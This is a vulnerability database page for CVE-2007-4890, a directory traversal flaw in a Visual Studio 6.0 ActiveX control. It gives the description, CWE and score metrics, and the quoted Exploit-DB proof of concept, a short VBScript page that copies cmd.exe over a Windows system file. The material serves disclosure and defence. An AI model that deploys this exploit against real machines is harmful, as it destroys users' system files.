CVE-2007-4890 : Detail

CVE-2007-4890

Directory Traversal
A01-Broken Access Control
4.35%V3
Network
2007-09-13
23h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Absolute directory traversal vulnerability in a certain ActiveX control in the VB To VSI Support Library (VBTOVSI.DLL) 1.0.0.0 in Microsoft Visual Studio 6.0 allows remote attackers to create or overwrite arbitrary files via a full pathname in the argument to the SaveAs method. NOTE: contents can be copied from local files via the Load method.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5.8 AV:N/AC:M/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4394

Publication date : 2007-09-10 22h00 +00:00
Author : shinnai
EDB Verified : Yes

<pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">--------------------------------------------------------------------------------------------------------- <b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b> url: http://www.microsoft.com author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 <b>Description: Using the "Load()" method we can load the content of a file from local machine passed as argument to this function and then save it into arbitrary location with the "SaveAs()" method. This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method remote directories (http) but, unfortunately, it accepts only local directories.</b> --------------------------------------------------------------------------------------------------------- <object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language = 'vbscript'> Sub tryMe() test.Load "c:\windows\system32\cmd.exe" 'or just some existing file test.SaveAs "c:\windows\system_.ini" MsgBox "Exploit completed!" End Sub </script> </span></span> </code></pre> # milw0rm.com [2007-09-11]

Products Mentioned

Configuraton 0

Microsoft>>Visual_studio >> Version 6.0

References

https://www.exploit-db.com/exploits/4394
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/26779
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/25635
Tags : vdb-entry, x_refsource_BID